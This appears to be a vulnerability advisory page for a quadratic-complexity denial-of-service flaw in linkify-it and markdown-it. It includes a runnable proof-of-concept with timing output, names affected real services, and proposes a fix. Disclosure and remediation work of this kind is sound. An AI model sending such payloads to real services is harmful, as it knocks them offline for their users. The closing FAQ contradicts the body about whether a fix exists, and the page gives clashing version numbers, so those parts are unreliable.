CVE-2026-48801: linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop
Summary
LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0) - Vulnerable function: LinkifyIt.prototype.match — index.mjs:528-554 - Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match) - Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rulescore/linkify.mjs:57 when linkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
js LinkifyIt.prototype.match = function match (text) { const result = [] let shift = 0 let tail = shift ? text.slice(shift) : text
while (this.test(tail)) { result.push(createMatch(this, shift)) tail = tail.slice(this.lastindex) // <-- re-allocates remaining tail each iteration shift += this.lastindex }
if (result.length) return result return null }
The loop iterates O(N) times (once per match). Each iteration: 1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration 2. this.test(tail) runs three unanchored regex searches over the full new tail:
js // index.mjs:444 — full-tail search tldpos = text.search(this.re.hostfuzzytest) // index.mjs:448 — full-tail match ml = text.match(this.re.linkfuzzy) // index.mjs:467 — full-tail match me = text.match(this.re.emailfuzzy)
Total cost: Σ(N - ic) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
js re = this.re.schemasearch re.lastIndex = 0 while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.
Proof of concept
bash mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos npm install linkify-it@5.0.0
cat > poc.mjs <<'EOF' import LinkifyIt from 'linkify-it' const l = new LinkifyIt() for (const n of [1000, 2000, 4000, 8000, 16000]) { const evil = 'a@b.com\n'.repeat(n) const t0 = process.hrtime.bigint() l.match(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log(n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms) } EOF node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms n=2000 bytes=16000 took 159 ms n=4000 bytes=32000 took 628 ms n=8000 bytes=64000 took 2506 ms n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
bash npm install markdown-it@14.1.1 node -e " const md = require('markdown-it')({ linkify: true }) for (const n of [1000, 2000, 4000, 8000]) { const evil = 'a@b.com '.repeat(n) const t0 = process.hrtime.bigint() md.render(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms') } "
n=1000 bytes=8000 md.render=45ms n=2000 bytes=16000 md.render=171ms n=4000 bytes=32000 md.render=672ms n=8000 bytes=64000 md.render=2636ms
Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().
Impact
- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged. - No confidentiality or integrity impact.
Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
Suggested remediation
The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
1. Add the g flag to emailfuzzy, linkfuzzy, linknoipfuzzy, hostfuzzytest in lib/re.mjs 2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail 3. In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead
The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.
js // proposed sketch LinkifyIt.prototype.match = function match (text) { const result = [] let pos = 0 while (this.testAt(text, pos)) { result.push(createMatch(this, 0)) pos = this.lastindex } return result.length ? result : null }
Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
Duplicate-risk analysis
- Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories → []) - Zero OSV entries (api.osv.dev/v1/query → {}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
Note to maintainers
Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.
Other sources
linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/linkify-itto a version that resolves this vulnerability.Fixed in 5.0.1 - Upgrade
Upgrade
linkify-itto a version that resolves this vulnerability.Fixed in 5.0.1 - Upgrade
Upgrade
markdown-itto a version that resolves this vulnerability.Fixed in 14.1.1 - Configuration
In linkify-it, update the fuzzy RegExp instances email_fuzzy, link_fuzzy, link_no_ip_fuzzy, and host_fuzzy_test to include the `g` flag; then rewrite the fuzzy scan to advance via `lastIndex` rather than slicing tails each loop.
linkify-it email_fuzzy/link_fuzzy/link_no_ip_fuzzy/host_fuzzy_test (RegExp flags) = add g flag
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48801?
The severity of CVE-2026-48801 is rated at 45.
What is the primary issue with CVE-2026-48801?
CVE-2026-48801 has an O(N²) algorithmic complexity due to a structural issue in the scanning loop for fuzzy links or emails.
How does CVE-2026-48801 affect applications using linkify-it?
Applications using linkify-it may experience significant performance degradation when processing inputs with many fuzzy links or emails.
How can I mitigate the impact of CVE-2026-48801?
To mitigate the impact of CVE-2026-48801, you should avoid processing large inputs with numerous fuzzy links or emails.
Is there a solution available for CVE-2026-48801?
Currently, a specific fix for CVE-2026-48801 hasn't been detailed, so monitoring the package for updates is essential.